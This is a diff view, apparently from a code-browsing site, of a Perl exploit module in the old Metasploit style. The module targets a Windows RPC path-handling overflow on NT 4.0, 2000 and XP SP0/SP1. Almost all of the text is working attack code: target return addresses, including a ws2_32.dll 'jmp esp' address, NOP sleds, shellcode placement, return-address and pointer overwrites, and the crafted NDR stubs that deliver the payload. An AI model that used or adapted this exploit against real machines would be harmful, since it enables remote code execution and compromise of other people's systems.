| 83 | | [ 'Automatic for Windows 2000 and Windows XP SP0/SP1' ], |
|---|
| 84 | | [ 'Windows 2000', 1025, 1005, 1017, 0x00020804, 0x00020830, 32 ], |
|---|
| 85 | | [ 'Windows XP', 631, 611, 623, 0x00020804, 0x000209c0, 140 ] |
|---|
| | 83 | [ '(wcscpy) Automatic (NT 4.0, 2000 SP0-SP4, XP SP0-SP1)' ], |
|---|
| | 84 | [ '(wcscpy) Windows NT 4.0 / Windows 2000 SP0-SP4', 1000, 0x00020804 ], |
|---|
| | 85 | [ '(wcscpy) Windows XP SP0/SP1', 612, 0x00020804 ], |
|---|
| | 86 | [ '(stack) Windows XP SP1 English', 656, 680, 0x71ab1d54], # jmp esp @ ws2_32.dll |
|---|
| 179 | | |
|---|
| 180 | | # Prepend nops based on the target |
|---|
| 181 | | $shellcode = $self->MakeNops($target->[6]) . $shellcode; |
|---|
| 182 | | |
|---|
| 183 | | my $boom = Pex::Text::AlphaNumText($target->[1]); |
|---|
| 184 | | |
|---|
| 185 | | # Stuff our payload in first |
|---|
| 186 | | substr($boom, 0, length($shellcode), $shellcode); |
|---|
| 187 | | |
|---|
| 188 | | # Return address offset and value |
|---|
| 189 | | substr($boom, $target->[2], 4, pack('V', $target->[5])); |
|---|
| | 180 | |
|---|
| | 181 | my $stub; |
|---|
| | 182 | |
|---|
| | 183 | # |
|---|
| | 184 | # Use the wcscpy() method on NT 4.0 / 2000 |
|---|
| | 185 | # |
|---|
| | 186 | if ($target->[0] =~ /2000/ && ! $target->[3]) { |
|---|
| | 187 | |
|---|
| | 188 | # Pad our shellcode out with nops |
|---|
| | 189 | $shellcode = $self->MakeNops($target->[1] - length($shellcode)) . $shellcode; |
|---|
| | 190 | |
|---|
| | 191 | # Stick it into a path |
|---|
| | 192 | my $path = $shellcode . (pack('V', $target->[2]) x 16) . "\x00\x00"; |
|---|
| | 193 | |
|---|
| | 194 | # Package that into a stub |
|---|
| | 195 | $stub = |
|---|
| | 196 | Pex::NDR::Long(int(rand(0xffffffff))). |
|---|
| | 197 | Pex::NDR::UnicodeConformantVaryingString(''). |
|---|
| | 198 | Pex::NDR::UnicodeConformantVaryingStringPreBuilt($path). |
|---|
| | 199 | Pex::NDR::Long(int(rand(250)+1)). |
|---|
| | 200 | Pex::NDR::UnicodeConformantVaryingStringPreBuilt( "\xeb\x02" . "\x00\x00"). |
|---|
| | 201 | Pex::NDR::Long(int(rand(250)+1)). |
|---|
| | 202 | Pex::NDR::Long(0); |
|---|
| | 203 | # |
|---|
| | 204 | # Use the wcscpy() method on XP SP0/SP1 |
|---|
| | 205 | # |
|---|
| | 206 | } elsif ($target->[0] =~ /XP/ && ! $target->[3]) { |
|---|
| | 207 | |
|---|
| | 208 | # XP SP0/SP1 |
|---|
| | 209 | my $path = |
|---|
| | 210 | # Shellcode (corrupted ~420 bytes in) |
|---|
| | 211 | $shellcode. |
|---|
| | 212 | # Padding |
|---|
| | 213 | Pex::Text::AlphaNumText($target->[1] - length($shellcode)). |
|---|
| | 214 | # Land 6 bytes in to bypass garbage (XP SP0) |
|---|
| | 215 | pack('V', $target->[2] + 6). |
|---|
| | 216 | # Padding |
|---|
| | 217 | Pex::Text::AlphaNumText(8). |
|---|
| | 218 | # Address to write our shellcode (XP SP0) |
|---|
| | 219 | pack('V', $target->[2]). |
|---|
| | 220 | # Padding (required) |
|---|
| | 221 | Pex::Text::AlphaNumText(32). |
|---|
| | 222 | # Jump straight to shellcode (XP SP1) |
|---|
| | 223 | pack('V', $target->[2]). |
|---|
| | 224 | # Padding |
|---|
| | 225 | Pex::Text::AlphaNumText(8). |
|---|
| | 226 | # Address to write our shellcode (XP SP1) |
|---|
| | 227 | pack('V', $target->[2]). |
|---|
| | 228 | # Padding (required) |
|---|
| | 229 | Pex::Text::AlphaNumText(32). |
|---|
| | 230 | # Terminate |
|---|
| | 231 | "\x00\x00"; |
|---|
| | 232 | |
|---|
| | 233 | # Package that into a stub |
|---|
| | 234 | $stub = |
|---|
| | 235 | Pex::NDR::Long(int(rand(0xffffffff))). |
|---|
| | 236 | Pex::NDR::UnicodeConformantVaryingString(''). |
|---|
| | 237 | Pex::NDR::UnicodeConformantVaryingStringPreBuilt($path). |
|---|
| | 238 | Pex::NDR::Long(int(rand(250)+1)). |
|---|
| | 239 | Pex::NDR::UnicodeConformantVaryingString(''). |
|---|
| | 240 | Pex::NDR::Long(int(rand(250)+1)). |
|---|
| | 241 | Pex::NDR::Long(0); |
|---|
| | 242 | |
|---|
| | 243 | # |
|---|
| | 244 | # Use the stack overflow method if a return address is set |
|---|
| | 245 | # |
|---|
| | 246 | } elsif( $target->[3]) { |
|---|
| | 247 | |
|---|
| | 248 | my $buff = Pex::Text::AlphaNumText(800); |
|---|
| | 249 | substr($buff, 0, length($shellcode), $shellcode); |
|---|
| | 250 | substr($buff, $target->[1], 4, pack('V', $target->[3])); |
|---|
| | 251 | substr($buff, $target->[2], 5, "\xe9" . pack('V', ($target->[1] + 5) * -1 )); |
|---|
| 191 | | # Destination pointer offset and value |
|---|
| 192 | | substr($boom, $target->[3], 4, pack('V', $target->[4])); |
|---|
| 193 | | |
|---|
| 194 | | # Stick it into a path |
|---|
| 195 | | my $path = "\x5c". $boom. "\x00\x00"; |
|---|
| 196 | | |
|---|
| 197 | | # Package that into a stub |
|---|
| 198 | | my $stub = |
|---|
| 199 | | Pex::NDR::Long(int(rand(0xffffffff))). |
|---|
| 200 | | Pex::NDR::UnicodeConformantVaryingString(''). |
|---|
| 201 | | Pex::NDR::UnicodeConformantVaryingStringPreBuilt($path). |
|---|
| 202 | | Pex::NDR::Long(int(rand(250)+1)). |
|---|
| 203 | | Pex::NDR::UnicodeConformantVaryingString(''). |
|---|
| 204 | | Pex::NDR::Long(int(rand(250)+1)). |
|---|
| 205 | | Pex::NDR::Long(0); |
|---|
| | 253 | my $path = "\\\x00\\\x00". $buff. "\x00\x00"; |
|---|
| | 254 | |
|---|
| | 255 | # Package that into a stub |
|---|
| | 256 | $stub = |
|---|
| | 257 | Pex::NDR::Long(int(rand(0xffffffff))). |
|---|
| | 258 | Pex::NDR::UnicodeConformantVaryingString(''). |
|---|
| | 259 | Pex::NDR::UnicodeConformantVaryingStringPreBuilt($path). |
|---|
| | 260 | Pex::NDR::Long(int(rand(250)+1)). |
|---|
| | 261 | Pex::NDR::UnicodeConformantVaryingString(''). |
|---|
| | 262 | Pex::NDR::Long(int(rand(250)+1)). |
|---|
| | 263 | Pex::NDR::Long(0); |
|---|
| | 264 | } else { |
|---|
| | 265 | $self->PrintLine("This target is not currently supported"); |
|---|
| | 266 | return; |
|---|
| | 267 | } |
|---|
| | 268 | |
|---|